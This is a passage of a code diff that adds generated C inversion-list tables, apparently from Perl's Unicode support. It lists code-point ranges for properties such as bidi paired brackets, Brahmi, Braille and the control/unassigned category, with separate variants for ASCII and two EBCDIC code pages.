+	0x7E,
+	0xF3A,
+	0xF3E,
+	0x169B,
+	0x169D,
+	0x2045,
+	0x2047,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2E22,
+	0x2E2A,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0xFE59,
+	0xFE5F,
+	0xFF08,
+	0xFF0A,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF61,
+	0xFF62,
+	0xFF64
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BPT__N_invlist[] = { /* for EBCDIC 1047 */
+	61,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4D,
+	0x4E,
+	0x5D,
+	0x5E,
+	0xAD,
+	0xAE,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xF3A,
+	0xF3E,
+	0x169B,
+	0x169D,
+	0x2045,
+	0x2047,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2E22,
+	0x2E2A,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0xFE59,
+	0xFE5F,
+	0xFF08,
+	0xFF0A,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF61,
+	0xFF62,
+	0xFF64
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BPT__N_invlist[] = { /* for EBCDIC 037 */
+	59,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4D,
+	0x4E,
+	0x5D,
+	0x5E,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xF3A,
+	0xF3E,
+	0x169B,
+	0x169D,
+	0x2045,
+	0x2047,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2E22,
+	0x2E2A,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0xFE59,
+	0xFE5F,
+	0xFF08,
+	0xFF0A,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF61,
+	0xFF62,
+	0xFF64
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BPT__O_invlist[] = { /* for ASCII/Latin1 */
+	121,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x28,
+	0x29,
+	0x5B,
+	0x5C,
+	0x7B,
+	0x7C,
+	0xF3A,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0x169B,
+	0x169C,
+	0x2045,
+	0x2046,
+	0x207D,
+	0x207E,
+	0x208D,
+	0x208E,
+	0x2308,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x2329,
+	0x232A,
+	0x2768,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x27C5,
+	0x27C6,
+	0x27E6,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x2983,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x29D8,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29FC,
+	0x29FD,
+	0x2E22,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x3008,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3014,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0xFE59,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFF08,
+	0xFF09,
+	0xFF3B,
+	0xFF3C,
+	0xFF5B,
+	0xFF5C,
+	0xFF5F,
+	0xFF60,
+	0xFF62,
+	0xFF63
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BPT__O_invlist[] = { /* for EBCDIC 1047 */
+	121,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4D,
+	0x4E,
+	0xAD,
+	0xAE,
+	0xC0,
+	0xC1,
+	0xF3A,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0x169B,
+	0x169C,
+	0x2045,
+	0x2046,
+	0x207D,
+	0x207E,
+	0x208D,
+	0x208E,
+	0x2308,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x2329,
+	0x232A,
+	0x2768,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x27C5,
+	0x27C6,
+	0x27E6,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x2983,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x29D8,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29FC,
+	0x29FD,
+	0x2E22,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x3008,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3014,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0xFE59,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFF08,
+	0xFF09,
+	0xFF3B,
+	0xFF3C,
+	0xFF5B,
+	0xFF5C,
+	0xFF5F,
+	0xFF60,
+	0xFF62,
+	0xFF63
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BPT__O_invlist[] = { /* for EBCDIC 037 */
+	121,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4D,
+	0x4E,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xC1,
+	0xF3A,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0x169B,
+	0x169C,
+	0x2045,
+	0x2046,
+	0x207D,
+	0x207E,
+	0x208D,
+	0x208E,
+	0x2308,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x2329,
+	0x232A,
+	0x2768,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x27C5,
+	0x27C6,
+	0x27E6,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x2983,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x29D8,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29FC,
+	0x29FD,
+	0x2E22,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x3008,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3014,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0xFE59,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFF08,
+	0xFF09,
+	0xFF3B,
+	0xFF3C,
+	0xFF5B,
+	0xFF5C,
+	0xFF5F,
+	0xFF60,
+	0xFF62,
+	0xFF63
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_BRAH_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x11080
+};
+
+static const UV PL_BRAI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2800,
+	0x2900
+};
+
+static const UV PL_BUGI_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1A00,
+	0x1A1C,
+	0x1A1E,
+	0x1A20,
+	0xA9CF,
+	0xA9D0
+};
+
+static const UV PL_BUHD_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1735,
+	0x1737,
+	0x1740,
+	0x1754
+};
+
+static const UV PL_BYZANTINEMUSIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D000,
+	0x1D100
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_C_invlist[] = { /* for ASCII/Latin1 */
+	1305,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20,
+	0x7F,
+	0xA0,
+	0xAD,
+	0xAE,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x606,
+	0x61C,
+	0x61E,
+	0x6DD,
+	0x6DE,
+	0x70E,
+	0x710,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
 	0xA66,
-	0xA70,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
 	0xAE6,
-	0xAF0,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
 	0xB66,
-	0xB70,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
 	0xBE6,
-	0xBF0,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
 	0xC66,
 	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
 	0xCE6,
 	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
 	0xD66,
-	0xD70,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
 	0xDE6,
 	0xDF0,
-	0xE50,
-	0xE5A,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
 	0xED0,
 	0xEDA,
-	0xF20,
-	0xF2A,
-	0x1040,
-	0x104A,
-	0x1090,
-	0x109A,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
 	0x17E0,
 	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180E,
 	0x1810,
 	0x181A,
-	0x1946,
-	0x1950,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
 	0x19D0,
-	0x19DA,
-	0x1A80,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
 	0x1A8A,
 	0x1A90,
 	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
 	0x1B50,
-	0x1B5A,
-	0x1BB0,
-	0x1BBA,
-	0x1C40,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
 	0x1C4A,
-	0x1C50,
-	0x1C5A,
-	0xA620,
-	0xA62A,
-	0xA8D0,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
 	0xA8DA,
+	0xA8E0,
+	0xA8FE,
 	0xA900,
-	0xA90A,
-	0xA9D0,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
 	0xA9DA,
-	0xA9F0,
-	0xA9FA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
 	0xAA50,
 	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
 	0xABF0,
 	0xABFA,
-	0xFF10,
-	0xFF1A,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
 	0x104A0,
 	0x104AA,
-	0x11066,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
 	0x11070,
+	0x1107F,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x110D0,
+	0x110E9,
 	0x110F0,
 	0x110FA,
+	0x11100,
+	0x11135,
 	0x11136,
-	0x11140,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
 	0x111D0,
-	0x111DA,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
